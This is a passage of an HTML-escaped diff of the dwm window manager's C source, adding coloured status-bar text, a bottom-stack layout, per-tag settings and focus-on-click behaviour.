 #define LENGTH(X)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (sizeof X / sizeof X[0])<br />
 #define MAX(A, B)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ((A) &gt; (B) ? (A) : (B))<br />
 #define MIN(A, B)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ((A) &lt; (B) ? (A) : (B))<br />
+#define MAXCOLORS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 8<br />
 #define MOUSEMASK&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (BUTTONMASK|PointerMotionMask)<br />
 #define WIDTH(X)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;((X)-&gt;w + 2 * (X)-&gt;bw)<br />
 #define HEIGHT(X)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ((X)-&gt;h + 2 * (X)-&gt;bw)<br />
@@ -97,8 +100,7 @@<br />
 <br />
 typedef struct {<br />
 &nbsp;&nbsp;&nbsp;&nbsp;int x, y, w, h;<br />
-&nbsp;&nbsp;&nbsp;&nbsp;unsigned long norm[ColLast];<br />
-&nbsp;&nbsp;&nbsp;&nbsp;unsigned long sel[ColLast];<br />
+&nbsp;&nbsp;&nbsp;&nbsp;unsigned long colors[MAXCOLORS][ColLast];<br />
 &nbsp;&nbsp;&nbsp;&nbsp;Drawable drawable;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;GC gc;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;struct {<br />
@@ -122,26 +124,6 @@<br />
 &nbsp;&nbsp;&nbsp;&nbsp;void (*arrange)(Monitor *);<br />
 } Layout;<br />
 <br />
-struct Monitor {<br />
-&nbsp;&nbsp;&nbsp;&nbsp;char ltsymbol[16];<br />
-&nbsp;&nbsp;&nbsp;&nbsp;float mfact;<br />
-&nbsp;&nbsp;&nbsp;&nbsp;int num;<br />
-&nbsp;&nbsp;&nbsp;&nbsp;int by;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* bar geometry */<br />
-&nbsp;&nbsp;&nbsp;&nbsp;int mx, my, mw, mh;&nbsp;&nbsp; /* screen size */<br />
-&nbsp;&nbsp;&nbsp;&nbsp;int wx, wy, ww, wh;&nbsp;&nbsp; /* window area&nbsp;&nbsp;*/<br />
-&nbsp;&nbsp;&nbsp;&nbsp;unsigned int seltags;<br />
-&nbsp;&nbsp;&nbsp;&nbsp;unsigned int sellt;<br />
-&nbsp;&nbsp;&nbsp;&nbsp;unsigned int tagset[2];<br />
-&nbsp;&nbsp;&nbsp;&nbsp;Bool showbar;<br />
-&nbsp;&nbsp;&nbsp;&nbsp;Bool topbar;<br />
-&nbsp;&nbsp;&nbsp;&nbsp;Client *clients;<br />
-&nbsp;&nbsp;&nbsp;&nbsp;Client *sel;<br />
-&nbsp;&nbsp;&nbsp;&nbsp;Client *stack;<br />
-&nbsp;&nbsp;&nbsp;&nbsp;Monitor *next;<br />
-&nbsp;&nbsp;&nbsp;&nbsp;Window barwin;<br />
-&nbsp;&nbsp;&nbsp;&nbsp;const Layout *lt[2];<br />
-};<br />
-<br />
 typedef struct {<br />
 &nbsp;&nbsp;&nbsp;&nbsp;const char *class;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;const char *instance;<br />
@@ -158,6 +140,7 @@<br />
 static void arrangemon(Monitor *m);<br />
 static void attach(Client *c);<br />
 static void attachstack(Client *c);<br />
+static void bstack(Monitor *m);<br />
 static void buttonpress(XEvent *e);<br />
 static void checkotherwm(void);<br />
 static void cleanup(void);<br />
@@ -175,8 +158,9 @@<br />
 static Monitor *dirtomon(int dir);<br />
 static void drawbar(Monitor *m);<br />
 static void drawbars(void);<br />
-static void drawsquare(Bool filled, Bool empty, Bool invert, unsigned long col[ColLast]);<br />
-static void drawtext(const char *text, unsigned long col[ColLast], Bool invert);<br />
+static void drawcoloredtext(char *text);<br />
+static void drawsquare(Bool filled, Bool empty, unsigned long col[ColLast]);<br />
+static void drawtext(const char *text, unsigned long col[ColLast], Bool pad);<br />
 static void enternotify(XEvent *e);<br />
 static void expose(XEvent *e);<br />
 static void focus(Client *c);<br />
@@ -201,9 +185,13 @@<br />
 static Client *nexttiled(Client *c);<br />
 static Monitor *ptrtomon(int x, int y);<br />
 static void propertynotify(XEvent *e);<br />
+static Client *prevtiled(Client *c);<br />
+static void pushup(const Arg *arg);<br />
+static void pushdown(const Arg *arg);<br />
 static void quit(const Arg *arg);<br />
 static void resize(Client *c, int x, int y, int w, int h, Bool interact);<br />
 static void resizeclient(Client *c, int x, int y, int w, int h);<br />
+static void resize_orig_gapless(Client *c, int x, int y, int w, int h, Bool interact);<br />
 static void resizemouse(const Arg *arg);<br />
 static void restack(Monitor *m);<br />
 static void run(void);<br />
@@ -213,6 +201,9 @@<br />
 static void setlayout(const Arg *arg);<br />
 static void setmfact(const Arg *arg);<br />
 static void setup(void);<br />
+static int shifttag(int dist);<br />
+static void cycle(const Arg *arg);<br />
+static void tagcycle(const Arg *arg);<br />
 static void showhide(Client *c);<br />
 static void sigchld(int unused);<br />
 static void spawn(const Arg *arg);<br />
@@ -278,6 +269,31 @@<br />
 /* configuration, allows nested code to access above variables */<br />
 #include "config.h"<br />
 <br />
+struct Monitor {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;char ltsymbol[16];<br />
+&nbsp;&nbsp;&nbsp;&nbsp;float mfact;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;int num;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;int by;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* bar geometry */<br />
+&nbsp;&nbsp;&nbsp;&nbsp;int mx, my, mw, mh;&nbsp;&nbsp; /* screen size */<br />
+&nbsp;&nbsp;&nbsp;&nbsp;int wx, wy, ww, wh;&nbsp;&nbsp; /* window area&nbsp;&nbsp;*/<br />
+&nbsp;&nbsp;&nbsp;&nbsp;unsigned int seltags;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;unsigned int sellt;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;unsigned int tagset[2];<br />
+&nbsp;&nbsp;&nbsp;&nbsp;Bool showbar;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;Bool topbar;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;Client *clients;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;Client *sel;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;Client *stack;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;Monitor *next;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;Window barwin;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;const Layout *lt[2];<br />
+&nbsp;&nbsp;&nbsp;&nbsp;int curtag;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;int prevtag;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;const Layout *lts[LENGTH(tags) + 1];<br />
+&nbsp;&nbsp;&nbsp;&nbsp;double mfacts[LENGTH(tags) + 1];<br />
+&nbsp;&nbsp;&nbsp;&nbsp;Bool showbars[LENGTH(tags) + 1];<br />
+};<br />
+<br />
 /* compile-time check if all tags fit into an unsigned int bit array. */<br />
 struct NumTags { char limitexceeded[LENGTH(tags) &gt; 31 ? -1 : 1]; };<br />
 <br />
@@ -418,6 +434,36 @@<br />
 }<br />
 <br />
 void<br />
+bstack(Monitor *m) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;int x, y, h, w, mh;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;unsigned int i, n;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;Client *c;<br />
+<br />
+&nbsp;&nbsp;&nbsp;&nbsp;for(n = 0, c = nexttiled(m-&gt;clients); c; c = nexttiled(c-&gt;next), n++);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;if(n == 0)<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;/* master */<br />
+&nbsp;&nbsp;&nbsp;&nbsp;c = nexttiled(m-&gt;clients);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;mh = m-&gt;mfact * m-&gt;wh;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;resize(c, m-&gt;wx, m-&gt;wy, m-&gt;ww - 2 * c-&gt;bw, (n == 1 ? m-&gt;wh : mh) - 2 * c-&gt;bw, False);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;if(--n == 0)<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;/* tile stack */<br />
+&nbsp;&nbsp;&nbsp;&nbsp;x = m-&gt;wx;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;y = (m-&gt;wy + mh &gt; c-&gt;y + c-&gt;h) ? c-&gt;y + c-&gt;h + 2 * c-&gt;bw : m-&gt;wy + mh;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;w = m-&gt;ww / n;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;h = (m-&gt;wy + mh &gt; c-&gt;y + c-&gt;h) ? m-&gt;wy + m-&gt;wh - y : m-&gt;wh - mh;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;if(w &lt; bh)<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;w = m-&gt;ww;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;for(i = 0, c = nexttiled(c-&gt;next); c; c = nexttiled(c-&gt;next), i++) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;resize(c, x, y, /* remainder */ ((i + 1 == n)<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ? m-&gt;wx + m-&gt;ww - x - 2 * c-&gt;bw : w - 2 * c-&gt;bw), h - 2 * c-&gt;bw, False);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(w != m-&gt;ww)<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;x = c-&gt;x + WIDTH(c);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;}<br />
+}<br />
+<br />
+void<br />
 buttonpress(XEvent *e) {<br />
 &nbsp;&nbsp;&nbsp;&nbsp;unsigned int i, x, click;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;Arg arg = {0};<br />
@@ -618,9 +664,9 @@<br />
 &nbsp;&nbsp;&nbsp;&nbsp;m-&gt;mfact = mfact;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;m-&gt;showbar = showbar;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;m-&gt;topbar = topbar;<br />
-&nbsp;&nbsp;&nbsp;&nbsp;m-&gt;lt[0] = &amp;layouts[0];<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m-&gt;lt[0] = &amp;layouts[initlayouts[1]] &amp;&amp; initlayouts[1] &lt;&nbsp;&nbsp;LENGTH(layouts) ? &amp;layouts[initlayouts[1]] : &amp;layouts[0];<br />
 &nbsp;&nbsp;&nbsp;&nbsp;m-&gt;lt[1] = &amp;layouts[1 % LENGTH(layouts)];<br />
-&nbsp;&nbsp;&nbsp;&nbsp;strncpy(m-&gt;ltsymbol, layouts[0].symbol, sizeof m-&gt;ltsymbol);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strncpy(m-&gt;ltsymbol, initlayouts[1] &amp;&amp; initlayouts[1] &lt; LENGTH(layouts) ? layouts[initlayouts[1]].symbol : layouts[0].symbol, sizeof m-&gt;ltsymbol);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;return m;<br />
 }<br />
 <br />
@@ -696,14 +742,13 @@<br />
 &nbsp;&nbsp;&nbsp;&nbsp;dc.x = 0;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;for(i = 0; i &lt; LENGTH(tags); i++) {<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dc.w = TEXTW(tags[i]);<br />
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;col = m-&gt;tagset[m-&gt;seltags] &amp; 1 &lt;&lt; i ? dc.sel : dc.norm;<br />
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;drawtext(tags[i], col, urg &amp; 1 &lt;&lt; i);<br />
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;drawsquare(m == selmon &amp;&amp; selmon-&gt;sel &amp;&amp; selmon-&gt;sel-&gt;tags &amp; 1 &lt;&lt; i,<br />
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; occ &amp; 1 &lt;&lt; i, urg &amp; 1 &lt;&lt; i, col);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;col = dc.colors[ (m-&gt;tagset[m-&gt;seltags] &amp; 1 &lt;&lt; i ? 1:(urg &amp; 1 &lt;&lt; i ? 2:0))];<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;drawtext(tags[i], col, True);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;drawsquare(m == selmon &amp;&amp; selmon-&gt;sel &amp;&amp; selmon-&gt;sel-&gt;tags &amp; 1 &lt;&lt; i, occ &amp; 1 &lt;&lt; i, col);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dc.x += dc.w;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;}<br />
 &nbsp;&nbsp;&nbsp;&nbsp;dc.w = blw = TEXTW(m-&gt;ltsymbol);<br />
-&nbsp;&nbsp;&nbsp;&nbsp;drawtext(m-&gt;ltsymbol, dc.norm, False);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;drawtext(m-&gt;ltsymbol, dc.colors[0], True);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;dc.x += dc.w;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;x = dc.x;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;if(m == selmon) { /* status is only drawn on selected monitor */<br />
@@ -713,19 +758,19 @@<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dc.x = x;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dc.w = m-&gt;ww - x;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;drawtext(stext, dc.norm, False);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;drawcoloredtext(stext);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;}<br />
 &nbsp;&nbsp;&nbsp;&nbsp;else<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dc.x = m-&gt;ww;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;if((dc.w = dc.x - x) &gt; bh) {<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dc.x = x;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(m-&gt;sel) {<br />
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;col = m == selmon ? dc.sel : dc.norm;<br />
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;drawtext(m-&gt;sel-&gt;name, col, False);<br />
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;drawsquare(m-&gt;sel-&gt;isfixed, m-&gt;sel-&gt;isfloating, False, col);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;col = m == selmon ? dc.colors[1] : dc.colors[0];<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;drawtext(m-&gt;sel-&gt;name, col, True);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;drawsquare(m-&gt;sel-&gt;isfixed, m-&gt;sel-&gt;isfloating, col);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br />
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;drawtext(NULL, dc.norm, False);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;drawtext(NULL, dc.colors[0], False);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;}<br />
 &nbsp;&nbsp;&nbsp;&nbsp;XCopyArea(dpy, dc.drawable, m-&gt;barwin, dc.gc, 0, 0, m-&gt;ww, bh, 0, 0);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;XSync(dpy, False);<br />
@@ -739,13 +784,42 @@<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;drawbar(m);<br />
 }<br />
 <br />
+void drawcoloredtext(char *text) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;Bool first=True;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;char *buf = text, *ptr = buf, c = 1;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;unsigned long *col = dc.colors[0];<br />
+&nbsp;&nbsp;&nbsp;&nbsp;int i, ox = dc.x;<br />
+<br />
+&nbsp;&nbsp;&nbsp;&nbsp;while( *ptr ) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for( i=0; *ptr &lt; 0 || *ptr &gt; NUMCOLORS; i++, ptr++);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if( !*ptr ) break;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;c=*ptr;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*ptr=0;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if( i ) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dc.w = selmon-&gt;ww - dc.x;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;drawtext(buf, col, first);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dc.x += textnw(buf, i) + textnw(&amp;c,1);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if( first ) dc.x += ( dc.font.ascent + dc.font.descent ) / 2;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;first = False;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} else if( first ) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ox = dc.x += textnw(&amp;c,1);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*ptr = c;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;col = dc.colors[ c-1 ];<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;buf = ++ptr;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if( !first ) dc.x-=(dc.font.ascent+dc.font.descent)/2;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;drawtext(buf, col, True);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dc.x = ox;<br />
+}<br />
+<br />
 void<br />
-drawsquare(Bool filled, Bool empty, Bool invert, unsigned long col[ColLast]) {<br />
+drawsquare(Bool filled, Bool empty, unsigned long col[ColLast]) {<br />
 &nbsp;&nbsp;&nbsp;&nbsp;int x;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;XGCValues gcv;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;XRectangle r = { dc.x, dc.y, dc.w, dc.h };<br />
 <br />
-&nbsp;&nbsp;&nbsp;&nbsp;gcv.foreground = col[invert ? ColBG : ColFG];<br />
+&nbsp;&nbsp;&nbsp;&nbsp;gcv.foreground = col[ ColFG ];<br />
 &nbsp;&nbsp;&nbsp;&nbsp;XChangeGC(dpy, dc.gc, GCForeground, &amp;gcv);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;x = (dc.font.ascent + dc.font.descent + 2) / 4;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;r.x = dc.x + 1;<br />
@@ -761,18 +835,18 @@<br />
 }<br />
 <br />
 void<br />
-drawtext(const char *text, unsigned long col[ColLast], Bool invert) {<br />
+drawtext(const char *text, unsigned long col[ColLast], Bool pad) {<br />
 &nbsp;&nbsp;&nbsp;&nbsp;char buf[256];<br />
 &nbsp;&nbsp;&nbsp;&nbsp;int i, x, y, h, len, olen;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;XRectangle r = { dc.x, dc.y, dc.w, dc.h };<br />
 <br />
-&nbsp;&nbsp;&nbsp;&nbsp;XSetForeground(dpy, dc.gc, col[invert ? ColFG : ColBG]);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;XSetForeground(dpy, dc.gc, col[ ColBG ]);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;XFillRectangles(dpy, dc.drawable, dc.gc, &amp;r, 1);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;if(!text)<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;olen = strlen(text);<br />
-&nbsp;&nbsp;&nbsp;&nbsp;h = dc.font.ascent + dc.font.descent;<br />
-&nbsp;&nbsp;&nbsp;&nbsp;y = dc.y + (dc.h / 2) - (h / 2) + dc.font.ascent;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;h = pad ? (dc.font.ascent + dc.font.descent) : 0;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;y = dc.y + ((dc.h + dc.font.ascent - dc.font.descent) / 2);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;x = dc.x + (h / 2);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;/* shorten text if necessary */<br />
 &nbsp;&nbsp;&nbsp;&nbsp;for(len = MIN(olen, sizeof buf); len &amp;&amp; textnw(text, len) &gt; dc.w - h; len--);<br />
@@ -781,7 +855,7 @@<br />
 &nbsp;&nbsp;&nbsp;&nbsp;memcpy(buf, text, len);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;if(len &lt; olen)<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(i = len; i &amp;&amp; i &gt; len - 3; buf[--i] = '.');<br />
-&nbsp;&nbsp;&nbsp;&nbsp;XSetForeground(dpy, dc.gc, col[invert ? ColBG : ColFG]);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;XSetForeground(dpy, dc.gc, col[ ColFG ]);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;if(dc.font.set)<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XmbDrawString(dpy, dc.drawable, dc.font.set, dc.gc, x, y, buf, len);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;else<br />
@@ -796,14 +870,16 @@<br />
 <br />
 &nbsp;&nbsp;&nbsp;&nbsp;if((ev-&gt;mode != NotifyNormal || ev-&gt;detail == NotifyInferior) &amp;&amp; ev-&gt;window != root)<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return;<br />
-&nbsp;&nbsp;&nbsp;&nbsp;if((m = wintomon(ev-&gt;window)) &amp;&amp; m != selmon) {<br />
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;unfocus(selmon-&gt;sel, True);<br />
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;selmon = m;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;if(!focusonclick) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if((m = wintomon(ev-&gt;window)) &amp;&amp; m != selmon) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;unfocus(selmon-&gt;sel, True);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;selmon = m;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if((c = wintoclient(ev-&gt;window)))<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;focus(c);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;focus(NULL);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;}<br />
-&nbsp;&nbsp;&nbsp;&nbsp;if((c = wintoclient(ev-&gt;window)))<br />
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;focus(c);<br />
-&nbsp;&nbsp;&nbsp;&nbsp;else<br />
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;focus(NULL);<br />
 }<br />
 <br />
 void<br />
@@ -830,7 +906,7 @@<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;detachstack(c);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;attachstack(c);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;grabbuttons(c, True);<br />
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XSetWindowBorder(dpy, c-&gt;win, dc.sel[ColBorder]);<br />
